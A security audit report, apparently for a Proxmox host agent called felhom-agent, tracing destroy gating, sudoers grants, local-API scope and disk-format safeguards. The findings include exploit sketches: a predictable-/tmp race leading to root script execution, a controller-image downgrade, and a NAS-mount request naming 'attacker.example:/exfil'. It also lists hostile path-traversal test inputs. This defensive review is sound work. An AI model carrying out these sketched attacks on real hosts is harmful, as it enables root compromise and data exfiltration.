Files
felhom.eu/documentation/audits/AUDIT-blast-radius-hostroot-localapi-2026-07-02.md
T
admin 8c8196e82b docs: AUDIT — host-root + local-API blast radius (non-Proxmox-token axes)
Companion to CAMPAIGN-pool-effects: red-teams the four axes the pool campaign
did not cover (provenance-gating of destructive ops, sudoers↔fine-gate coverage,
local-API within-scope blast radius, mkfs/claim classifier, signed-vs-self-serve
boundary). Verifies the v0.60.0 F1 fix is complete; finds no new HIGH/MED. One
F1-sibling (stale-lock pool-blind reaper, LOW) + LOW/INFO defense-in-depth
residuals. Read-only static trace against felhom-agent @cc93dae/v0.60.0.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-07-02 10:43:19 +02:00

427 lines
40 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# AUDIT — host-root + local-API blast radius (the axes the pool campaign did not cover)
**Class:** Audit (static source trace + non-destructive verification). **Output is a findings doc — no agent
code was written, no version bumped, no branch opened.**
**Subject:** `felhom-agent` @ `main` = **`cc93dae` / v0.60.0** — read-only.
**Prompt baseline note:** the prompt was authored against `55ade9e2` / v0.59.0; `main` had already advanced
to **v0.60.0** (`b9356d6` + `cc93dae`) when this audit ran. **That is material to Strand A:** v0.60.0 is the
commit that FIXED campaign-F1 (proof-of-launch destroy gating, F1a/b/c). This audit therefore *verifies the
F1 fix* and hunts F1-siblings, rather than re-reporting F1 as open. Landmark line numbers in the prompt were
reconfirmed against v0.60.0 source; where they shifted, the cited `file:line` is the v0.60.0 value.
**Host:** felhom-pve (`demo-felhom`, 192.168.0.162) — **not touched** (see §5; the audit was 100% static, no
live probe was needed to reach a verdict).
**Method:** static source trace of the agent, cross-referenced against the stated trust boundaries in
`documentation/architecture/{01,03,04}` and the sudoers/wrapper configs. Five strands (AE), each
independently traced, then the HIGH/MED-candidate findings re-verified by a second read of the cited source.
> **This audit does NOT re-cover the Proxmox-API-token axis** — the privilege map, pool containment,
> out-of-pool 403s, and ListLXC pool-blindness (B1B4) are shipped and validated in
> **`CAMPAIGN-pool-effects-2026-07-01.md`** + **`SPIKE-pool-scoped-acl-2026-07-01.md`**. Those are cited, not
> repeated. Campaign findings **F1F6** are treated as known; this audit *extends* F1/F5 and adds new,
> distinct findings on the other four axes.
## Headline
**No new HIGH or MED findings.** The four un-audited axes are in good shape:
- **Strand A (provenance):** the v0.60.0 F1 fix is **complete and airtight** for all four `DestroyLXC` paths.
One F1-sibling remains (stale-lock recovery, LOW) — contained by the pool ACL today, re-arms only under a
future broad/root token.
- **Strand B (sudoers ↔ fine-gate):** the sudoers header's global claim ("the agent fine-validates every
value before exec") **holds for all 10 aliases as wired**. Residuals are host-local defense-in-depth
(fixed-name `/tmp` staging, LOW; un-self-gated bind helpers, INFO).
- **Strand C (local-API within-scope):** identity self-scoping is structurally sound (the token's vmid is
the only vmid ever used for an op). Storage-op *targets* are property-gated (role / data-bearing /
namespace / regex), not ownership-bound — three INFO residuals (controller-swap downgrade; attacker-NAS
mount; advisory dependent-guest scan = F5).
- **Strand D (mkfs / claim classifier):** fail-safe on every gather **error** path; the pvs/zpool trichotomy
is correct. Three real weaknesses (all INFO/LOW): the guarded wrapper is an asymmetric subset of the
classifier; `classifyClaim` reads an empty-but-successful lsblk as unclaimed; the blank-format path lacks
the anti-retarget re-resolution AGENT-001 added to the data-bearing branch.
- **Strand E (signed vs self-serve):** the boundary holds — signed executors are unreachable from the local
API, nonces are durable + single-use + burned-before-execute, the operator key and escrow code are kept
off the host. Two INFO comment/redundancy notes.
**Nothing hard-blocks the shared-box colleague trial** (every residual is contained by the pool-scoped token
the trial ships with). The one item to close **before any broad/root-token deployment** is the stand-alone
F1-sibling A1 (stale-lock reaper).
---
## Strand A — Provenance-gating of destructive host ops (generalizes campaign-F1)
**Verdict:** the v0.60.0 fix is complete for the four LXC-destroy paths. The reversibility gate remains a
provenance *pass-through* (by design). One F1-sibling (stale-lock recovery) is pool-blind and re-arms under
a broad token.
| Destructive op | Call site (file:line) | Gated on "this txn created/owns the target"? | Backstop if compromised | Verdict |
|---|---|---|---|---|
| `DestroyLXC` — bring-up rollback | `internal/reconcile/bringup.go:369` (`rollbackBringUp`; defer `bringup.go:210-219`) | **YES**`launched` set only after `RestoreLXC` returns a UPID (`bringup.go:234`); `!launched` defer closes `OpFailed` w/o destroy (`:214-216`) | pool ACL + gate `Authorize` (`:363`) | **safe (F1a fixed)** |
| `DestroyLXC` — restore-test teardown | `internal/reconcile/restoretest.go:412` (`teardownScratch`; defer `:186-192`) | **YES**`launched` after UPID (`:243`); `!launched` → no destroy (`:187-191`) | pool ACL + gate (`:406`) | **safe (F1b fixed)** |
| `DestroyLXC` — recover leaked scratch | `internal/reconcile/recover.go:144` (`recoverScratch`) | **YES**`entry.UPID==""` abandon check hoisted **before** the Scratch dispatch (`recover.go:46-52``:59`) | pool ACL + `ListLXC` existence check + gate (`:136`) | **safe (F1c fixed)** |
| `DestroyLXC` — recover half-built bring-up | `internal/reconcile/recover.go:203` (`recoverBringUp`) | **YES** — same `UPID==""`-first check (`:46-52``:69`) | pool ACL + existence check + gate (`:195`) | **safe (F1c fixed)** |
| `Stop` (reconcile `ActionStop`) | `internal/reconcile/engine.go:173` | N/A — benign/reversible class (`ClassStop`, `classify.go`); planner unfed (EmptyProvider) | reversible (Start) | safe |
| `Rollback` (snapshot, self-serve) | `internal/localapi/server.go:482` | self-scoped: `scopedFromBody` pins vmid=token (`:474`); not gate-routed | per-guest token scope | safe (self-scoped) |
| `pct unlock` + `DeleteVzdumpSnapshot` + `Start` (stale-lock recovery) | `internal/localapi/stalelock.go:200`/`:208`/`:220`; reaper scans **all** guests via `ListLXC` (`:159-161`) | **NO** — acts on pre-existing guests found by a **pool-blind** scan; guard = lock-allowlist (`:27-30`) + no-vzdump-in-flight (`:87-97`), not ownership | **pool-scoped ACL only** | **F1-sibling (A1, LOW)** |
| `Format`/mkfs (signed wipe) | `internal/signedjobs/wipe.go:106` | YES (resource) — durable-id resolve+re-derive+re-inspect (`wipe.go:74-99`) + `deviceUnclaimed` (`hostops.go:449`) + guarded wrapper (`:456`) | operator sig + unclaimed guard + wrapper | safe |
| `Format`/mkfs (customer-confirmed / blank, local-API) | `internal/localapi/disks.go:727` (confirmed) / `:681` (blank) → `formatjob.go:116` | confirmed: durable-id-bound + re-resolve (`disks.go:697-714`); **blank: NOT re-resolved** — see Strand D (D3) | unclaimed guard + wrapper + role gate | safe (blank path = D3 caveat) |
| `Vzdump` + `--prune-backups` | `internal/backup/runner.go:133` | vmid+storage-scoped, keep-last=N, local only, never PBS | self-vmid scope | safe |
| `Unmount` (systemctl stop/disable `.mount`) | `internal/storage/hostops.go:331-339` (eject/decommission callers) | role-gated to user-data (`disks.go:404-408`), self-scoped; reversible | role gate + self-scope | safe |
| `DetachBind` (`pct set --delete mpN`) | `internal/localapi/guestbind.go:88` (from `disks.go:432`) | self-scoped vmid + user-data role gate; data stays on drive | role gate + self-scope | safe |
| `pct reboot` | `internal/localapi/guestbind.go:101` (from `disks.go:524`) | self-scoped (`withGuest`+`scopedFromBody`) | token scope | safe (self-DoS only) |
| `SetDecommissioned` (signed decommission) | `internal/signedjobs/decommission.go:75` | metadata-only intent write; no destroy/detach/format | operator sig + durable-id binding | safe (not destructive) |
| `rsync --delete` | — none in `internal/` (only a doc-comment in `hub/dr_recipe.go`) | N/A | N/A | **confirmed absent** |
**F1 fix — airtight.** `launched`/`entry.UPID` derives destroy authorization from a real `RestoreLXC` UPID
rather than from vmid-existence + the ACL. A synchronous restore refusal ("already exists", no UPID)
provably cannot reach a `DestroyLXC`. The accepted residual (a crash in the one-statement window between
obtaining the UPID at `bringup.go:234`/`restoretest.go:243` and journaling it at `:235`/`:244`) leaks a
half-built guest Recover won't reap — by design, and strictly preferable to destroying an innocent guest
(CHANGELOG v0.60.0 "Accepted residual").
**A2 (INFO, architectural) — the gate does not verify provenance; it consumes it.** `Gate.Authorize`
genuinely *blocks* (a Destructive disposition with no signed op → `pending_signature`, `gate.go:146-150`),
but `Classify` trusts whatever `Provenance` the intent carries (`gate.go:135`), and that provenance is
hardcoded by the call-site constructors `IntentForRollbackDestroy` (`SameTxnCreated:true`) /
`IntentForScratchDestroy` (`AgentTaggedScratch:true`). There is no cross-check against the journal/UPID
inside the gate. **This is exactly why campaign B1.3 saw a rollback-destroy classed benign while the guest
pre-existed** — the pre-v0.60.0 call site asserted `SameTxnCreated:true` unconditionally and the gate
faithfully honored it. v0.60.0 fixes the **call sites**, not the gate; the whole guarantee now lives in the
`launched`/UPID discipline. Defensible (provenance is a caller-supplied, journal-derived fact the gate can't
independently reconstruct), but it means the reversibility gate is effectively decorative for these
self-authored teardowns — a future mislabel at a constructor would sail through. Worth a comment/guard, not
a blocker. Duplicate-adjacent to F1's root cause.
**A1 (LOW, F1-sibling; extends F1, relates F6) — stale-lock recovery reaps by pool-blind scan, not
ownership.** `RecoverStaleLockedGuests` (`stalelock.go:58`) iterates **every** guest from `ListLXC`
(`:159-161`) at startup and, for any guest whose lock is in `{backup, snapshot-delete}` (`:27-30`) with no
in-flight vzdump (`:87-97`), runs `pct unlock` (`:200`), deletes the vzdump snapshot (`:208`), and starts
the guest if `onboot` (`:220`). Ownership is *assumed*, not proven. Contained today because the pool-scoped
token makes `ListLXC` pool-only — precisely the containment F6 relied on.
*Exploit sketch (exploit fully sequenced; precondition — a broad/root token — does not exist today, so
verdict is LOW not HIGH):* shared host, agent redeployed with a broad token (F1's "re-arms it" precondition)
→ a co-tenant's own backup tool leaves non-felhom guest 5000 with `lock: snapshot-delete` + a vzdump
snapshot, in the window before its vzdump task is visible (so `BackupRunning` returns false, `:171-184`) →
agent restart → reaper unlocks 5000, deletes its snapshot, force-starts it → the neighbor's in-progress
backup is corrupted/aborted and its guest force-started. No felhom-customer data destroyed (hence LOW, not
HIGH like F1). **Fix before any broad-token deployment:** restrict the scan to felhom-pool membership (or a
fenced-root `pct list` cross-checked against the pool).
**Negative tests.** The F1 red-proof companions already exist (`TestRunBringUp_NoLaunchNoDestroy`,
`TestRunRestoreTest_RestoreNoLaunchNoTeardown`, `TestRecover_{BringUp,Scratch}NoUPIDAbandoned`). Missing:
`TestStaleLock_ForeignGuestNotReaped` — seed a non-pool guest with a stale lock + snapshot + no running
vzdump, wire a broad-token fake, assert `Unlock`/`DeleteVzdumpSnapshot`/`Start` are **not** invoked.
---
## Strand B — OS-root sudoers surface ↔ in-agent fine-gate coverage
**Verdict:** the sudoers header's global claim holds for every one of the 10 aliases as currently wired.
Every wildcard value reaching a `sudo -n` arg vector is (a) run through a validator before the vector is
built, (b) an `int`-typed vmid, or (c) a fixed literal. Exec is always an arg vector (`privileged.go:61-71`),
never a shell string, so a validated value cannot inject. Residuals are host-local defense-in-depth, none
reachable within the in-guest/cross-customer (F1F6) threat model.
Representative coverage (full per-grant trace held in the working notes; every grant confirmed gated):
| Alias / grant (wildcard) | Constructing call site (file:line) | Fine-gate (file:line) | Un-validated value reachable? |
|---|---|---|---|
| MOUNT `systemctl stop/disable -- *.mount` | `storage/hostops.go:336,339` (`Unmount`) | `UnitNameForMount(where)``ValidateMountPath` (`hostops.go:332`, `validate.go:156,83`) | No |
| DISK `smartctl … /dev/sd[a-z]*` | `storage/hostops.go:351` | `ValidateSMARTDevice` (`hostops.go:348`, `validate.go:112`) | No |
| DISK `lvs … -- *` | `storage/hostops.go:371` | `ValidateLVMName` ×2 (`hostops.go:362,366`) | No |
| PROVISION `chown -R 100000:100000 …/guests/*` | `provision/backhalf.go:145` | path = `join(stateDir,"guests",itoa(vmid),"bootstrap")`, vmid `int` (`:134`) | No |
| FORMAT `felhom-mkfs-guarded /dev/* *` | `storage/hostops.go:456` | `ValidateBlockDevice`+`ValidateFSType`+`deviceUnclaimed` (`:439,442,449`) + wrapper re-check | No |
| DNSMASQ `install /tmp/felhom-resolver-*.conf …` | `lanresolver/lanresolver.go:266` | src = `os.CreateTemp` random (`:255`); dest via `sanitize(customerID)` (`:72`) | No |
| GUESTHOOK `install -- /tmp/felhom-guest-hook.sh …/snippets/…` | `guesthook/install.go:45` | fixed dest; **fixed /tmp name** (`:40`) — see B1 | No value; TOCTOU |
| GUESTHOOK `pct set [0-9]* --delete mp[0-9]*` | `localapi/guestbind.go:88` | vmid `int`; slot `mpN` from `guestSlotForPath` | No |
| INTERMEDIARY `mount --bind /mnt/*/felhom-data /mnt/felhom-drives/*` | `localapi/intermediary.go:222` | both `*` derived from one `validGuestMountPath`-checked `where` (`disks.go:534`) | No (caller-gated; B3) |
| INTERMEDIARY `install -- /tmp/felhom-shared-parent.sh …` | `localapi/intermediary.go:154,162` | fixed dest; **fixed /tmp name** (`:149,157`) — see B1 | No value; TOCTOU |
| CONTROLLERSWAP `docker image inspect *` | `localapi/controllerswap.go:139` | `ValidControllerImage` (`:324,38`, regex `:35`) | No |
| STALELOCK `pct unlock [0-9]*` | `localapi/stalelock.go:200` | vmid `int` from API `Guests()` | No (but see Strand A A1 for the *scan*, not the arg) |
| NETMOUNT `rm -f /etc/systemd/system/mnt-felhom*` | `storage/netmount.go:416,419` | `reShareName` (`:399`); escaped unit always begins `mnt-felhom` | No |
**B1 (LOW — fixed-name `/tmp` staging TOCTOU; new, host-local).** `guesthook/install.go:40`
(`/tmp/felhom-guest-hook.sh`) and `intermediary.go:149,157` (`/tmp/felhom-shared-parent.sh` + `.service`)
stage root-executed scripts through **fixed, predictable** `/tmp` names via `os.WriteFile` (O_CREATE, no
O_EXCL, follows symlinks), then `sudo install` them to a root-executed location (a PVE hookscript run at
guest pre-start; a boot-time `ExecStart` script). `lanresolver.go:255` does this correctly with
`os.CreateTemp` (random name) — the two above do not.
*Exploit sketch (sequenced; precondition = a second non-root local account on the Proxmox host, which the
standard Felhom host — root + `felhom-agent` only — does not provision, so LOW):* a local non-root user
pre-creates `/tmp/felhom-guest-hook.sh` (owning it) → the agent's `os.WriteFile` opens/truncates the
attacker-owned file and writes the snippet → the attacker rewrites the content between the agent's close and
root's `install` → root copies attacker content into `/var/lib/vz/snippets/felhom-guest-hook.sh`, executed
as **root** at the next guest pre-start. The sticky bit on `/tmp` blocks a *different* user from replacing
the agent's file after creation, but not pre-creation of the predictable name. **Outside the F1F6 threat
model** (customer code runs in an unprivileged LXC and cannot see the host `/tmp`); relevant only if a
colleague has a non-root shell on a shared box. **Fix:** mirror lanresolver's `os.CreateTemp`.
**B2 (INFO — bind helpers don't self-reject `..`).** `GuestBinder.AttachDrive`/`DetachDrive`
(`intermediary.go:187,347`) do not self-validate `where` for traversal — `DriveNameFromRaw` (`:80`) rejects
`/`, space, tab but **not** `..`. Safe today only because both callers gate (`validGuestMountPath`
`disks.go:534` for attach; `roleForMountPath` exact-match `disks.go:353,404` for detach). A future third
caller that skipped the gate would regress it. Defense-in-depth gap.
**B3 (INFO — coarser-than-needed wildcards).** The INTERMEDIARY bind's two `*` are grammatically independent
in sudoers though the code always derives both from one validated `where`; CONTROLLERSWAP's
`docker image inspect *` is broader than the single `controllerImageRe`-validated ref the agent ever sends.
Code-tied today; could be pinned tighter (least-privilege).
**B4 (INFO — `privileged.go` forms absent from sudoers, fail-closed).** `internal/proxmox/privileged.go`
retains `CreateGoldenLXC``pct create` (`:136`), `MountUSBByUUID``mount UUID=…` (`:148,151`),
`Sensors``sensors -j` (`:181`). None appear in the sudoers file, so under the non-root `RunnerSudo` model
these `sudo -n` calls are **denied → fail-closed**. The manifest comment (`capability/manifest.go:29-37`)
explicitly excludes them as not-required. Capability/documentation gap, no escalation.
**B5 (INFO — dead grant).** `systemctl reload dnsmasq` (sudoers `:61`, manifest `dnsmasq-reload`) is never
called — the code deliberately uses `restart` (`lanresolver.go:242`). Harmless; drop it.
**NoopHostOps (Q4) — always fail-safe.** Every degrade path returns an explicit error or a safe sentinel
(`SMART`→UNKNOWN; `InspectDevice``Probed=false``DataBearing()=true` ⇒ a later format is refused). No
silent destructive success anywhere (`hostops.go:540-557`). Surfaces with no Noop fallback fail-closed via a
non-zero `sudo -n` exit.
**Manifest ⊆ sudoers (Q5).** `TestManifestCoveredBySudoers` (`manifest_test.go:122`, with dropped-grant
red-proofs) proves the *presence* direction. Missing: the adversarial *unreachability* direction for the
non-`SudoHostOps` wildcard constructors.
**Negative test (names the gap).** `TestWildcardGrantsUnreachableWithUnvalidatedInput` — a table over every
sudoers wildcard, each row driving the *public* entry point (e.g. `handleDiskGuestAttach` with
`where="/mnt/../etc"`, `POST /controller/swap` with `image="evil"`) against a recording runner, asserting
(1) refusal and (2) no arg vector matching that alias's pattern. Today only `SudoHostOps` has an equivalent
(`TestHostOps_RejectsHostileArgsBeforeExec`, `validate_test.go:130`); `GuestBinder`, `ControllerSwapper`,
`lanresolver`, `netmount`, `stalelock` do not. This test would convert the header's global claim from
asserted to proven and would immediately flag B2 if a handler gate were removed.
---
## Strand C — Local-API within-scope host blast radius
**Verdict:** identity self-scoping is structurally sound — the token's vmid is the only vmid ever used for a
proxmox op (`server.go:365`); every body/query vmid is a pure consistency check (`server.go:357-364`,
`scopedFromBody` `:381-389`) that 403s on mismatch and is never substituted in. **No handler re-reads
`req.VMID` and uses it for the op** (traced: `handleSnapshot` `:450`, `handleRollback` `:482`, `handleBackup`
`:521-545`, `handleGuestReboot` `disks.go:524`, `handleControllerSwap` `controllerswap.go:355`). The
within-scope surface is wide because storage-op **targets** (`device`, `where`, `server:export`, `image`)
are caller-supplied and gated by *properties* (role / data-bearing / namespace / regex), not ownership-bound
to the guest — acceptable on a single-tenant box.
| Endpoint (route → handler file:line) | Worst host effect for OWN guest | Gate beyond self-scope | Residual |
|---|---|---|---|
| `POST /disks/format` (`server.go:282``disks.go:650`) | mkfs a blank device, or a customer-confirmed user-data device | agent device-inspection not caller claim (`disks.go:672`); role tier (`:702`); durable-id-bound confirm (`:714`); **`deviceUnclaimed`+`MkfsGuarded`** (`hostops.go:449,456`) | system/backup → operator-sig only; **cannot reach raw mkfs** (confirmed chain); blank path = D3 |
| `POST /disks/eject` (`server.go:280``disks.go:332`) | detach a user-data drive's bind (data preserved) | user-data role gate, fail-safe→system (`disks.go:353-358`) | dependent-guest scan **advisory only** (`:359,375`) = **F5** |
| `POST /disks/decommission` (`server.go:281``disks.go:386`) | logically retire + detach a user-data drive (no mkfs, `disks.go:442`) | same user-data role gate (`:404-409`) | same advisory scan (F5); self-DoS of own drive |
| `POST /controller/swap` (`server.go:296``controllerswap.go:312`) | restart bootstrap onto a chosen felhom-controller semver | **`controllerImageRe` host+repo pinned** (`:35,324`); `imagePresent` (`:244`) | **version downgrade (C1)** |
| `POST /netstorage/add` (`server.go:291``netstorage.go:53`) | root-mount an arbitrary NAS host-side under `/mnt/felhom-drives/*`, propagated into guest | namespace role gate (`netstorage.go:68-74`); `ValidateNetworkMountSpec` (`netmount.go:125`); creds path agent-set (`netstorage.go:88-94`) | **attacker-NAS mount (C2)** |
| `POST /guest/reboot` (`server.go:287``disks.go:502`) | reboot own guest (`disks.go:524`) | vmid = token | self-DoS only; **no host-reboot primitive exists** |
| `POST /snapshot` `/rollback` `/backup` `/disks/assign` `/disks/guest-attach` `/netstorage/remove` | own-guest snapshot/rollback/backup/mount/bind churn | charset/namespace validators; vmid = token | LOW/INFO self-inflicted |
**C1 (INFO, suspected — controller-swap version downgrade; new).** `controllerImageRe`
(`^gitea\.dooplex\.hu/admin/felhom-controller:[0-9]+\.[0-9]+\.[0-9]+$`, `controllerswap.go:35`) is anchored
and **pins the registry host + repo** — no look-alike-registry, digest, or metacharacter bypass exists (I
reconfirmed the regex verbatim). But it accepts **any** semver; "latest-only" is enforced *only* caller-side
(comment `:24-25`), not by the agent. A compromised controller could `docker pull …:<old-vuln-ver>` then
`POST /controller/swap {"image":"…:0.40.0"}` → the agent rewrites `/etc/felhom-controller-image` and
restarts the bootstrap unit (`:143-157,252-261`), running the downgraded image as the controller. It cannot
run a *non-felhom* image, and the compromised controller already owns the guest's docker socket, so this is
a downgrade-to-vulnerable within its own guest, **not** a host escalation. INFO. *Fix option:* an agent-side
minimum-version floor.
**C2 (INFO, suspected — attacker-NAS host-side mount; new).** In `ValidateNetworkMountSpec`, `Server` is
constrained only by `reNetServer = ^[A-Za-z0-9._:-]+$` (`netmount.go:100,134`) — any hostname/IP with no
metacharacters; `Export` is a safe path/segment. The mountpoint is namespace-locked under
`/mnt/felhom-drives` (`netmount.go:106-108`, re-checked `netstorage.go:68-74` and `netmount.go:344-346`), and
the `credentials=` path is **agent-set, not caller-controllable** (`netstorage.go:87-95` — there is no
caller `CredsRef` field, so the "creds pointing at a host file" attack is *closed*). What's free is the
`server`/`export`: `POST /netstorage/add {"protocol":"nfs","server":"attacker.example","export":"/exfil",…}`
→ the agent installs a root-triggered `.mount`/`.automount` for `attacker.example:/exfil` propagated into the
guest. Worst case: (a) an attacker-controlled filesystem visible to the guest's media apps (exfil/poison
target — only marginally novel since the guest already has network egress), and (b) the **host kernel
NFS/CIFS client now talks to a hostile server** as root — a kernel-client attack surface. INFO. *Fix
option:* an operator/allowlist gate on NAS server addresses for the shared-box case.
**C3 = campaign F5 (duplicate, not new).** `dependentGuests` (`disks.go:1026-1059`), called by eject
(`:359`) and decommission (`:410`), only **returns** dependent VMIDs for a UI warning (`:375,443`) — it never
blocks the detach. Harmless single-tenant; the shared-box residual is already tracked as F5.
**Negative tests.** (1) per mutating handler: body/query `vmid=token+1` → 403 with zero downstream call, and
matching-vmid → mock called with the *token's* vmid; an AST guard that no handler references `req.VMID` after
`scopedFromBody`. (2) `ValidControllerImage` reject-corpus (look-alike host, digest, `…:latest`, second tag)
+ a **downgrade** assertion documenting `…:0.1.0` is currently accepted. (3) `ValidateNetworkMountSpec`
rejects metachar `server`, `..` `export`, escaping `where`; assert no caller-settable `CredsRef`.
(4) `handleDiskFormat` on a claimed device drives `SudoHostOps.Format` to the `deviceUnclaimed` refusal with
zero `MkfsGuarded` exec.
---
## Strand D — mkfs / claim.go classifier robustness
**Verdict:** `classifyClaim` (`claim.go:61-89`) is fail-safe on **every gather ERROR path** (`gatherErr`,
`!wholeDiskOK`, `isSystem`, `readonly` all refuse first, `:62-73`) and the pvs/zpool present/absent/error
trichotomy is correct (absent ⇒ lsblk FSTYPE backstop; present-but-erroring ⇒ fail-safe claimed,
`:145,163`). The symlink question is clean: no by-uuid symlink reaches mkfs — every device string is either
`ValidateBlockDevice`-constrained to a raw node or an `EvalSymlinks`-canonical node, and the wrapper's `-L`
reject (`felhom-mkfs-guarded.sh:24`) is a third backstop. Three real weaknesses:
**Gate side-by-side (what each catches, confirmed by reading both fully):**
| Claim class | `classifyClaim` (file:line) | wrapper `felhom-mkfs-guarded.sh` | Symmetric? |
|---|---|---|---|
| gather error / undeterminable topology | refuse (`claim.go:62-67`) | n/a (no notion of agent reads) | agent-only |
| OS/system disk (`/`,`/boot`,`/boot/efi`) | `isSystem` fail-safe (`claim.go:68-70`) | YES — `/proc/mounts` whole-disk match (`:31-39`) | **both** |
| read-only device (`/sys/.../ro`) | refuse (`claim.go:71-73`) | **NO** | agent-only |
| LVM physical volume | pvs + lsblk `LVM2_member` (`claim.go:74-76,80-82`) | YES *iff* `command -v pvs` (PATH, not abs) succeeds (`:42-49`) | partial |
| ZFS pool member | zpool + lsblk `zfs_member` (`claim.go:77-82`) | **NO** | agent-only |
| mdraid / LUKS / swap member | lsblk FSTYPE (`claim.go:80-82`, `memberFSTypes`) | **NO** | agent-only |
| mounted outside `/mnt/felhom-drives` | node check (`claim.go:84-86`) | YES — lsblk MOUNTPOINT (`:53-59`) | **both** |
| symlink / by-uuid passed to mkfs | `ValidateBlockDevice` (`validate.go:122`) | YES — `-L`/`-b`/`..` (`:21-24`) | **both** |
**D1 (LOW — the guarded wrapper is an asymmetric subset; new, defense-in-depth).** The wrapper — whose
entire purpose is to stop a *buggy/bypassed agent* (`.sh:5-9`) — re-checks only system-disk, LVM-PV (and only
if `command -v pvs` resolves on PATH), and foreign-mount. If `classifyClaim` were bypassed, the wrapper would
happily `mkfs` a ZFS vdev, an mdraid member, a LUKS container, an active-swap disk, or a read-only disk. The
primary guard covers all of these; the second gate does not. I independently reconfirmed this against the
wrapper source. *Fix:* add zfs_member/mdraid/LUKS/swap FSTYPE + `/sys` ro re-checks to the wrapper, and use
an absolute `pvs` path (not `command -v`).
**D2 (INFO — `classifyClaim` reads an empty-but-successful lsblk as unclaimed; new, fail-safe hole).** A
successful `lsblk` returning `{"blockdevices":[]}` yields zero nodes; the member/mount loop (`claim.go:80-88`)
is skipped and `classifyClaim` returns `true,"unclaimed"`. There is **no `len(nodes)==0` guard and no
assertion the target whole-disk appears among the nodes** (confirmed by reading `:80-89`). Fail-safety here
rests on the untested assumption that real `lsblk` always *errors* (non-zero exit) on a bad device rather
than emitting empty success — a gap in the "undeterminable ⇒ claimed" invariant. Pure-fn repro:
`classifyClaim(claimFacts{device:"/dev/sdd", wholeDisk:"/dev/sdd", wholeDiskOK:true, nodes:nil})`
`(true,"unclaimed")`. *Fix:* refuse when `nodes` is empty or the target whole-disk is absent from the tree.
**D3 (INFO, suspected — blank-format path has no anti-retarget re-resolution; new, sharpest).**
`handleDiskFormat` inspects `req.Device`; on `!probe.DataBearing()` it calls
`startFormatDetached(req.Device, "", fstype)``Format(req.Device)` on the **mutable `/dev` path**
(`disks.go:672-691`) — it does **not** re-resolve a durable id. AGENT-001 (v0.30.0) closed exactly this
TOCTOU on the *data-bearing* branch (`wipe_reresolve.go`) but left the blank branch on the raw path. `Format`
itself has no independent `DataBearing` gate — it only calls `deviceUnclaimed` (confirmed `hostops.go:438-461`),
and its own comment (`:447`) asserts "the caller re-resolves the durable-id first" — **a precondition the
blank path violates.** *Exploit sketch (suspected — needs a sub-second `/dev` reassignment):* a USB
re-enumeration reassigns `/dev/sdX` between `InspectDevice` (`disks.go:672`) and the mkfs; if the disk now at
that node is a data-bearing-but-*unclaimed* filesystem (a bare ext4/xfs/ntfs with real data, unmounted, no
LVM/ZFS/RAID/LUKS — which `classifyClaim` passes because those FSTYPEs are not in `memberFSTypes` and it's
not mounted, and the wrapper passes because it's not system/PV/mounted), it is formatted with **neither** the
DataBearing customer-confirm **nor** any durable-id binding. Same class AGENT-001 closed, left open on the
benign branch under the "a blank device has nothing to destroy" assumption that breaks under re-enumeration.
*Fix:* give the blank branch the same durable-id re-derive as the confirmed branch (`disks.go:714`).
**Note (by design, not a hole):** an unmounted ext4/ntfs-with-data disk *is* "unclaimed" per `classifyClaim`
(test asserts this) — acceptable **only because** every production caller enforces `DataBearing()` above
`Format` (`disks.go:677` blank-gate, `wipe.go:95`, `wipe_reresolve.go:53`). D3 is the one place a race
defeats that reliance.
**Negative tests.** `TestClassifyClaim_EmptyNodesRefused` (D2), `TestClassifyClaim_TargetAbsentFromTree`,
`TestGuardedWrapper_RefusesZfsMdraidLuksSwap` + `TestGuardedWrapper_PvsNotOnPath` (D1),
`TestFormatBlankPath_AntiRetarget` (D3).
---
## Strand E — signed-job vs self-serve destructive boundary
**Verdict:** the boundary holds. The two operator-signed destructive executors (`WipeExecutor`,
`DecommissionExecutor`) are constructed only in `cmd/felhom-agent/main.go:522-528` and handed solely to
`NewRunner` (driven by the hub jobs queue) — **there is no local-API route to either.** The locked authz
pipeline (namespace → key-material allow-list → crypto over raw bytes → host target → time window → durable
single-use nonce) plus gate role-scoping + action binding fronts every signed op.
| Destructive op | Signed-only? (file:line) | Self-serve reachable w/o sig? | Nonce replay-safe? (file:line) | Verdict |
|---|---|---|---|---|
| Wipe (mkfs) system/backup device | YES — `gate.go:227-229``Authorize``pending_signature` (`:146-150`); role is agent's, `Confirmed` ignored | NO | YES — burned last in `Verify` (`verifier.go:157-160`), fsync'd (`noncestore.go:117-135`) | SOUND |
| Wipe (mkfs) user-data device | NO — customer-confirmable by design (`gate.go:210-225`), durable-id-bound | YES, but only user-data role + confirm bound to agent-re-resolved id (`gate.go:216-222`) | N/A (durable-id binding) | SOUND (intended tier) |
| `storage_wipe` signed job | YES — only in `ExecutorChain` off hub queue | NO route | YES — burned pre-execute (`runner.go:145-166`) | SOUND |
| decommission (protected drive) | YES for system/backup (signed) | NO for system/backup (role 403 `disks.go:404-409`); user-data self-serve retire is non-destructive/reversible | YES (signed path) | SOUND (see E1) |
| guest_destroy / restore_overwrite / key_rotation | YES — Destructive class, role-scoped (`gate.go:254-259`) | NO route | YES | SOUND |
**Zero-knowledge posture confirmed.** The agent stores **public keys only** (`config.go:359-371`
`AllowedSigner{PublicKey}` `verifier.go:35-53`); signing happens off-host in `felhom-opsign` via
`ssh-keygen -Y sign` (`opsign/main.go:157`); the escrow recovery code is taken by-hand from the customer,
unwrapped only in a 0700 tempdir that is always `RemoveAll`'d, never logged (`escrow/consume.go:23-79`).
**Signature binds op+target:** the canonical blob covers `params` (incl. `durable_id`) and `Verify`
authenticates over the raw received bytes (`verifier.go:123-134`), so a signature for wiping id X cannot
verify for Y; the `WipeExecutor` additionally re-resolves + re-derives + re-inspects before mkfs
(`wipe.go:74-99`).
**E1 (INFO — comment drift).** `decommission.go:31-35` claims the `IntentDecommissioned` state is reachable
"ONLY via a gate-verified operator signature," but `handleDiskDecommission` reaches the same
`SetDecommissioned` self-serve (`disks.go:414`). Not an escalation (self-serve is user-data-only,
non-destructive, reversible); comment correction only.
**E2 (INFO — redundant check).** For the one-shot-job path, `bindsToAction` (`gate.go:265-276`) compares the
verified op against an Intent built from the *same* decoded blob (`runner.go:125-133`) — its guest/op/params
checks are tautological; the real anti-retarget control is the signature covering `params` + the executor's
durable-id re-resolution. Worth noting so a future refactor doesn't mistake `bindsToAction` for the one-shot
binding control.
